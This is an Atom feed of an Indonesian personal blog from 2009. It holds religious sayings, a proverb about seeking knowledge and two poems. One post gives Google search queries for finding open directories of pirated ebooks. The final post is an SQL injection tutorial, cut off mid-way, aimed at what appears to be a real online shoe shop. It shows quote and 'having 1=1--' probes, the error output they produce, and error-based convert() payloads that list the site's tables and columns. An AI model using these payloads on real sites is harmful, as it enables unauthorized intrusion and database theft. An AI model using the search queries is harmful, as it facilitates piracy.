<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-9220767944369178895</id><updated>2012-02-16T03:42:56.862-08:00</updated><category term='really'/><category term='ilmu'/><category term='islami'/><category term='sql injection'/><title type='text'>Lakune Ilmu Kudu Ketemu</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>10</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-4115835013839580551</id><published>2009-05-09T01:41:00.000-07:00</published><updated>2009-05-09T02:00:38.526-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ilmu'/><title type='text'>Lakune Ilmu Kudu ketemu</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Lakune Ilmu Kudu ketemu&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Adalah istilah jawa yang kalau di translate ke bahasa indonesia kurang lebih artinya "Jalannya ilmu harus ketemu", maksudnya kemanapun ilmu itu harus kita kejar supaya kita mendapatkannya. Jadi ilmu itu harus kita kejar walaupun jauh tempatnya. Sebab dengan ilmu semua akan mudah. Pekerjaan yang tidak dilandasi oleh ilmu maka hasilnya akan berantakan, tidak tersusun secara rapi. Lalu apa kehebatan ilmu...?&lt;br /&gt;&lt;span style="font-style: italic;"&gt;"Ilmu Itu Dapat Menjaga Pemiliknya, Sedangkan Harta hanya minta dijaga pemiliknya"&lt;/span&gt; Begitulah kata pepatah. kenapa ilmu disebut bisa menjaga pemiliknya. Misalnya kita memiliki ilmu berenang, saat kita naik kapal ditengah laut dan tiba-tiba kapal yang kita tumpangi tenggelam, lalu samakah orang yang punya ilmu berenang dengan yang tidak..? Pastinya tidak sama, orang yang punya ilmu berenang InsyaAlloh dapat selamat dengan ilmu yang dimilikinya, sedangkan orang yang tidak punya ilmu berenang pasti akan kesulitan, meskipun akhirnya selamat. Wallohu'alam kalau masalah kematian memang sudah ditangan Alloh.  Tapi paling tidak ilmu renang dapat menjaga seorang yang memilikinya disaat dibutuhkan.&lt;br /&gt;Berbeda dengan harta yang hanya minta dijaga pemiliknya, coba kita kalau punya motor pasti motor kita akan selalu kita jaga. Misalnya motor kita mau dicuri orang, pasti kita akan melawan bukan..? dan setelah diambil orang maka benda pasti akan hilang. Berbeda dengan ilmu yang meskipun diambil sana sini oleh orang banyak, insyaAlloh kita masih memilikinya, malahan ilmu itu bisa bermanfaat kalau kita amalkan kepada orang lain. Dan malah akan bertambah.&lt;br /&gt;Jadi pesan Rasulullah SAW. "&lt;span style="font-style: italic;"&gt;Carilah Ilmu Walau Sampai Negeri Cina&lt;/span&gt;" itu harus kita lakukan.  sama seperti&lt;span style="font-style: italic;"&gt; &lt;/span&gt;halnya dengan&lt;span style="font-style: italic;"&gt; "Lakune Ilmu Kudu ketemu"&lt;/span&gt;.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-4115835013839580551?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/4115835013839580551/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/lakune-ilmu-kudu-ketemu.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/4115835013839580551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/4115835013839580551'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/lakune-ilmu-kudu-ketemu.html' title='Lakune Ilmu Kudu ketemu'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-3808953693048352723</id><published>2009-05-09T01:00:00.000-07:00</published><updated>2009-05-09T01:07:24.661-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='islami'/><title type='text'>25 Pesan Luqmanul Hakim</title><content type='html'>&lt;ol style="text-align: justify;"&gt;&lt;li&gt;.. Hai anakku: ketahuilah, sesungguhnya dunia ini bagaikan lautan yang dalam, banyak manusia yang karam ke dalamnya. Bila engkau ingin selamat, agar jangan karam, layarilah lautan itu dengan SAMPAN yang bernama TAKWA, ISInya ialah IMAN dan LAYARnya adalah TAWAKKAL kepada ALLAH.&lt;/li&gt;&lt;li&gt;.. Orang - orang yg sentiasa menyediakan dirinya untuk menerima nasihat, maka dirinya akan mendapat penjagaan dari ALLAH. Orang yang insyaf dan sadar setalah menerima nasihat orang lain, dia akan sentiasa menerima kemulian dari ALLAH juga.&lt;/li&gt;&lt;li&gt;.. Hai anakku; orang yang merasa dirinya hina dan rendah diri dalam beribadat dan taat kepada ALLAH, maka dia tawadduk kepada ALLAH, &lt;span class="fullpost"&gt;dia akan lebih dekat kepada ALLAH dan selalu berusaha menghindarkan maksiat kepada ALLAH.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;.. Hai anakku; seandainya ibu bapamu marah kepadamu kerana kesilapan yang dilakukanmu, maka marahnya ibu bapamu adalah bagaikan baja bagi tanam tanaman.&lt;/li&gt;&lt;li&gt;.. Jauhkan dirimu dari berhutang, karena sesungguhnya berhutang itu boleh menjadikan dirimu hina di waktu siang dan gelisah di waktu malam.&lt;/li&gt;&lt;li&gt;.. Dan selalulah berharap kepada ALLAH tentang sesuatu yang menyebabkan untuk tidak menderhakai ALLAH. Takutlah kepada ALLAH dengan sebenar benar takut ( takwa ), tentulah engkau akan terlepas dari sifat berputus asa dari rahmat ALLAH.&lt;/li&gt;&lt;li&gt;.. Hai anakku; seorang pendusta akan lekas hilang air mukanya karena tidak dipercayai orang dan seorang yang telah rusak akhlaknya akan sentiasa banyak melamunkan hal hal yang tidak benar. Ketahuilah, memindahkan batu besar dari tempatnya semula itu lebih mudah daripada memberi pengertian kepada orang yang tidak mau mengerti.&lt;/li&gt;&lt;li&gt;.. Hai anakku; engkau telah merasakan betapa beratnya mengangkat batu besar dan besi yang amat berat, tetapi akan lebih berat lagi daripada semua itu, adalah bilamana engkau mempunyai tetangga yang jahat.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;.. Hai anakku; janganlah engkau mengirimkan orang yg bodoh sebagai utusan. Maka bila tidak ada orang yang cerdik, sebaiknya dirimulah saja yang layak menjadi utusan.&lt;/li&gt;&lt;li&gt;.. Jauhilah bersifat dusta, sebab dusta itu mudah dilakukan, bagaikan memakan daging burung, padahal sedikit saja berdusta itu telah memberikan akibat yang berbahaya.&lt;/li&gt;&lt;li&gt;.. Hai anakku; bila engkau mempunyai dua pilihan, takziah orang mati atau hadir majlis perkarwinan, pilihlah untuk menziarahi orang mati, sebab ianya akan mengingatkanmu kepada kampung akhirat sedang kan menghadiri pesta perkarwinan hanya mengingatkan dirimu kepada kesenangan duniawi saja.&lt;/li&gt;&lt;li&gt;.. Janganlah engkau makan sampai kenyang yang berlebihan, karena sesungguhnya makan yang terlalu kenyang itu adalah lebih baiknya bila makanan itu diberikan kepada anjing saja.&lt;/li&gt;&lt;li&gt;.. Hai anakku; janganlah engkau langsung menelan saja karena manisnya barang dan janganlah langsung memuntahkan saja pahitnya sesuatu barang itu, kerana manis belum tentu menimbulkan kesegaran dan pahit itu belum tentu menimbulkan kesengsaraan.&lt;/li&gt;&lt;li&gt;.. Makanlah makananmu bersama sama dengan orang orang yang takwa dan musyawarahlah urusanmu dengan para alim ulama dengan cara meminta nasihat dari mereka.&lt;/li&gt;&lt;li&gt;.. Hai anakku; bukanlah satu kebaikan namanya bilamana engkau selalu mencari ilmu tetapi engkau tidak pernah mengamalkannya. Hal itu tidak ubah bagaikan orang yg mencari kayu bakar, maka setelah banyak ia tidak mampu memikulnya, padahal ia masih mau menambahkannya.&lt;/li&gt;&lt;li&gt;.. Hai anakku; bilamana engkau mau mencari kawan sejati, maka ujilah terlebih dahulu dengan berpura pura membuat dia marah. Bilamana dalam kemarahan itu dia masih berusaha menginsyafkan kamu, maka bolehlah engkau mengambil dia sebagai kawan. Bila tidak demikian, maka berhati hatilah.&lt;/li&gt;&lt;li&gt;.. Selalulah baik tutur kata dan halus budi bahasamu serta manis wajahmu, dengan demikian engkau akan disukai orang melebihi sukanya seseorang terhadap orang lain yang pernah memberikan barang yang berharga.&lt;/li&gt;&lt;li&gt;.. Hai anakku; bila engkau berteman, tempatkanlah dirimu padanya sebagai orang yang tidak mengharapkan sesuatu daripadanya. Namun biarkanlah dia yang mengharapkan sesuatu darimu.&lt;/li&gt;&lt;li&gt;.. Jadikanlah dirimu dalam segala tingkah laku sebagai orang yang tidak ingin menerima pujian atau mengharap sanjungan orang lain karena itu adalah sifat riya' yang akan mendatangkan cela pada dirimu.&lt;/li&gt;&lt;li&gt;.. Hai anakku; janganlah engkau condong kepada urusan dunia dan hatimu selalu disusahkan olah dunia saja karena engkau diciptakan ALLAH bukanlah untuk dunia saja. Sesungguhnya tiada makhluk yang lebih hina daripada orang yang terpedaya dengan dunianya.&lt;/li&gt;&lt;li&gt;.. Hai anakku; usahakanlah agar mulutmu jangan mengeluarkan kata kata yang busuk dan kotor serta kasar, karena engkau akan lebih selamat bila berdiam diri. Kalau berbicara, usahakanlah agar bicaramu mendatangkan manfaat bagi orang lain.&lt;/li&gt;&lt;li&gt;.. Hai anakku; janganlah engkau mudah ketawa kalau bukan karena sesuatu yang menggelikan, janganlah engkau berjalan tanpa tujuan yang pasti, janganlah engkau bertanya sesuatu yang tidak ada guna bagimu, janganlah mensia-siakan hartamu.&lt;/li&gt;&lt;li&gt;.. Barang siapa yang penyayang tentu akan disayangi, siapa yang pendiam akan selamat daripada berkata yang mengandungi racun, dan siapa yang tidak dapat menahan lidahnya dari berkata kotor tentu akan menyesal.&lt;/li&gt;&lt;li&gt;.. Hai anakku; bergaullah rapat dengan orang yang alim lagi berilmu. Perhatikanlah kata nasihatnya karena sesungguhnya sejuklah hati ini mendengarkan nasihatnya, hiduplah hati ini dengan cahaya hikmah dari mutiara kata katanya bagaikan tanah yang subur lalu disirami air hujan.&lt;/li&gt;&lt;li&gt;.. Hai anakku; ambillah harta dunia sekedar keperluanmu saja, dan nafkahkanlah yang selebihnya untuk bekal akhiratmu. Jangan engkau tendang dunia ini ke keranjang atau bakul sampah karena nanti engkau akan menjadi pengemis yang membuat beban orang lain. Sebaliknya janganlah engkau peluk dunia ini serta meneguk habis airnya karena sesungguhnya yang engkau makan dan pakai itu adalah tanah belaka. Janganlah engkau bertemankan dengan orang yang bersifat dua muka, kelak akan membinasakan dirimu.&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-3808953693048352723?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/3808953693048352723/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/25-pesan-luqmanul-hakim.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/3808953693048352723'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/3808953693048352723'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/25-pesan-luqmanul-hakim.html' title='25 Pesan Luqmanul Hakim'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-6405959338522733055</id><published>2009-05-08T18:40:00.000-07:00</published><updated>2009-05-08T18:57:58.635-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ilmu'/><title type='text'>Using Google for searching ebooks</title><content type='html'>Google has some fantastic potential for you to find whatever you are after on the internet.&lt;br /&gt;&lt;br /&gt;To search for a book / program / file perhaps try the following.&lt;br /&gt;&lt;br /&gt;Go to Google's search page and use the following criteria in the search dialog&lt;br /&gt;&lt;br /&gt;intitle:index.of? file extension Name of item&lt;br /&gt;&lt;br /&gt;e.g. intitle:index.of? chm syngress&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;This will hopefully give you a listing of all websites that google has cached that contain references to files in CHM format that are published by SYNGRESS.&lt;br /&gt;&lt;br /&gt;---------------&lt;br /&gt;I use in Google&lt;br /&gt;&lt;br /&gt;+("index of") +("/ebooks"|"/book") +(chm|pdf|zip|rar) +syngress&lt;br /&gt;&lt;br /&gt;or&lt;br /&gt;&lt;br /&gt;allinurl: +(rar|chm|zip|pdf|tgz) Syngress&lt;br /&gt;Enjoy&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-6405959338522733055?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/6405959338522733055/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/using-google-for-searching-ebooks.html#comment-form' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/6405959338522733055'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/6405959338522733055'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/using-google-for-searching-ebooks.html' title='Using Google for searching ebooks'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-7105497677461456706</id><published>2009-05-07T23:36:00.000-07:00</published><updated>2009-05-09T00:34:31.759-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='really'/><title type='text'>Kembalikan Aku ke Masa Lalu</title><content type='html'>Jikalau Harus Memilih&lt;br /&gt;Aku Akan Memilih&lt;br /&gt;Tapi Sayang Waktu dak Bisa Diputar&lt;br /&gt;Seperti Dalam Film Lorong Waktu&lt;br /&gt;&lt;br /&gt;Jikalau Harus Memilih&lt;br /&gt;Aku Kan Memilih Kembali Hidup Pada Masa Kecil&lt;br /&gt;Yang Mana Saat Itu Tak Mengenal Arti Dari Cinta&lt;br /&gt;Yang Kukenal Hanya Bersenang-senang Dengan Teman-teman&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Namun Setelah Kumengerti Tentang Cinta&lt;br /&gt;Hidupku Semakin Tak menentu&lt;br /&gt;Kadang Semangat Menjalani Hidup Dapat Membara Dengan Cinta&lt;br /&gt;Tak Jarang Semangat Menurun Drastis Karena Cinta&lt;br /&gt;&lt;br /&gt;Wahai Dzat Yang Membolak-Balikkan Hati&lt;br /&gt;Tetapkanlah Hatiku Pada Jalan-Mu&lt;br /&gt;Sehingga Aku Berjalan Dengan Ridho-Mu&lt;br /&gt;Dan Pasti Aku dapat Melalui Rintangan Seberat Apapun Dengan Seizin-Mu...&lt;br /&gt;&lt;br /&gt;Jika Aku Bisa memilih&lt;br /&gt;Aku Kan Kembali Ke Masa Lalu&lt;br /&gt;Dan Akan Tumbuh Berkembang Sampai Dewasa&lt;br /&gt;Tanpa Mengenal Cinta&lt;br /&gt;Sampai Pada Akhirnya Cinta Yang Datang Menjemputku&lt;br /&gt;Dengan Halus Dan Tanpa Melukai Sedikitpun....&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-7105497677461456706?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/7105497677461456706/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/kembalikan-aku-ke-masa-lalu.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/7105497677461456706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/7105497677461456706'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/kembalikan-aku-ke-masa-lalu.html' title='Kembalikan Aku ke Masa Lalu'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-6949730341905222124</id><published>2009-05-07T23:16:00.000-07:00</published><updated>2009-05-09T00:37:08.366-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='really'/><title type='text'>Kasih Sayang Yang Terlewatkan</title><content type='html'>Disaat Aku Mulai Rapuh menjalani Hidup Ini&lt;br /&gt;Kau Datang Dengan membawa Secercah Harapan Untukku&lt;br /&gt;Sampai Akhirnya Kerapuhanku Sedikit Sedikit Mulai Tertutupi&lt;br /&gt;Dan Kau Pun Terus Memberikan Aku Semangat Dalam Menjalani Hidup Ini&lt;br /&gt;&lt;br /&gt;Ketika Aku Sudah Terlanjur Menyayangimu Dengan Sepenuh Hati&lt;br /&gt;Tanpa Mengharapkan Balasan Kasih Sayang Darimu&lt;br /&gt;Dan Tak Bermaksud Pula Ingin Memasuki kehidupanmu Yang Kau Jalani&lt;br /&gt;Serta Tak Bermaksud Membuatmu Agar Menyayangiku&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Yang Kuingin Adalah Ku Bisa Dekat Denganmu&lt;br /&gt;Dimanapun Engkau Berada&lt;br /&gt;Karena Jika Dekat Denganmu Hatiku Akan Terasa Tenang&lt;br /&gt;Dan Jiwaku Pun Akan Terasa Damai&lt;br /&gt;&lt;br /&gt;Tapi Entah mengapa...&lt;br /&gt;Engkau Malah Semakin Menjauh Dariku&lt;br /&gt;Seakan Engkau Tak mau Lagi Walau Hanya Berteman Denganku&lt;br /&gt;Dirimu Seperti Tak Ingin Berada Dekat Denganku&lt;br /&gt;Dan Akupun Berusaha Mencari Tahu Apakah Sebabnya&lt;br /&gt;Tapi Kau Tak Pernah Mau Berbicara Denganku&lt;br /&gt;&lt;br /&gt;Mungkin Inilah Yang Dinamakan Takdir&lt;br /&gt;Kau Datang Dan Mungkin Sebentar Lagi Akan Pergi Meninggalkanku&lt;br /&gt;Dengan Segala Kenangan Yang Aku Miliki&lt;br /&gt;Dan Segala Masa Lalu Kelam mu Bersamaku&lt;br /&gt;&lt;br /&gt;Tapi Sungguh Aku Tak Mengharapkan Apa-apa Darimu&lt;br /&gt;Meskipun Hanya Setitik Cintamu Padaku&lt;br /&gt;Aku Tak Pernah Berfikir Mengharapkan Seperti Itu&lt;br /&gt;Yang Ku Ingin Hanya Ku Dapat Dekat Denganmu Dan Menjagamu Sepenuh Hatiku&lt;br /&gt;&lt;br /&gt;Sampai Akhirnya Aku Tak Mampu Lagi Menjagamu....... &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9220767944369178895-6949730341905222124?l=senlest.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://senlest.blogspot.com/feeds/6949730341905222124/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://senlest.blogspot.com/2009/05/kasih-sayang-yang-terlewatkan.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/6949730341905222124'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9220767944369178895/posts/default/6949730341905222124'/><link rel='alternate' type='text/html' href='http://senlest.blogspot.com/2009/05/kasih-sayang-yang-terlewatkan.html' title='Kasih Sayang Yang Terlewatkan'/><author><name>pangeranes</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_pZ3_2XDQFfI/SpmbUPNFDXI/AAAAAAAAAIg/5WZSyhCv73s/S220/in+waterboum.JPG'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9220767944369178895.post-2444766369503060674</id><published>2009-05-04T01:12:00.000-07:00</published><updated>2009-05-09T00:43:59.516-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sql injection'/><title type='text'>SQL Injection 3</title><content type='html'>&lt;p style="text-align: justify;"&gt;berikut adalah lanjutan dari v.2 Sql Injection dimana kesemuanya hanya berpengaruh pada mesin  yg menjalankan web ASP + MS-SQL ....&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;dan inget penulis tidak bertanggung jawab atas segala kemungkinan yg terjadi hehehe &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;  &lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Target  sample : &lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93"&gt;http://www.xxx/qshop/details.asp?prodid=93&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;The Process :&lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;cari tau vulner atau engga dengan cara menambahkan      single quote ato having 1=1—&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt;&lt;p align="justify"&gt;Contoh : &lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93"&gt;http://www.xxx/qshop/details.asp?prodid=93&lt;/a&gt;’ atau &lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93"&gt;http://www.xxx/qshop/details.asp?prodid=93&lt;/a&gt; having 1=1--&lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;kalau      errornya MS-SQL bla bla bla berarti vulner, selain itu tidak vulner.&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt;&lt;p align="justify"&gt;Contoh dari hasil di atas :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93"&gt;http://www.xxx/qshop/details.asp?prodid=93&lt;/a&gt;’&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the character string ''.&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;/qshop/details.asp, line 23&lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;hasil di atas itu menandakan web sample kita itu vulner, dan langkah selanjutnya adalah mencari tau struktur databasenya…..Database terdiri dari table n field. Field apa, table apa?....Field itu kolom2 yg memuat data2 dari input, n Table itu gabungan dari field2 yg sama. Dalam database ada primary key dalam setiap tablenya. (CMIIW)&lt;/li&gt;&lt;li&gt;Gmn cari taunya? Rumus buat nyari table structure n      fields :&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;&lt;/div&gt;&lt;p align="justify"&gt;Cari Table : &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;table_name%20not%20in%20(‘x')))--sp_password&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;X didalam tanda kurung itu adalah nama table yg akan keluar dan di insert lagi. Penjelasannya ada dibawah&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Cari Field :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20or%201=convert(int,(select%20top%201%20column_name%20from%20information_schema.columns%20where%20table_name=&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;('X')%20and%20column_name%20not%20in%20('Y')))--sp_password&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;X itu nama tablenya&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Y itu nama fieldnya&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;udah tau rumusnya? Ok INGET itu rumus….mulai kita      hajar web sample. Kita tambahin having di akhiran VALUEnya….jadi :&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;&lt;a href="http://www.classicshoes.co.uk/qshop/details.asp?prodid=93%20having%201=1--"&gt;http://www.xxx/qshop/details.asp?prodid=93%20having%201=1--&lt;/a&gt;&lt;/p&gt;&lt;div align="justify"&gt;&lt;br /&gt;&lt;/div&gt;&lt;p align="justify"&gt;en keluar errornya :&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Microsoft OLE DB Provider for ODBC Drivers error '80040e14'&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'products.Id' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;/qshop/details.asp, line 23&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;OK dari error itu kita tau ada table dengan nama Product dan di dalam table product ada field ID. &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;ol&gt;&lt;li&gt;ok, kita      cari table dengan isi yg kita inginkan.....how? inget rumus di atas....&lt;/li&gt;&lt;/ol&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name%20not%20&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;in%20(‘x')))--sp_password&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;Sekarang X kita ganti dengan Products. Jadinya&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt; &lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20or%201=convert(int,(select%20top%201%20table_name%20from%20information_schema.tables%20where%20table_name&lt;/p&gt;&lt;div align="justify"&gt; &lt;/div&gt;&lt;p align="justify"&gt;%20not%20in%20('Products')))--sp_password&lt;/p&gt;&lt;div 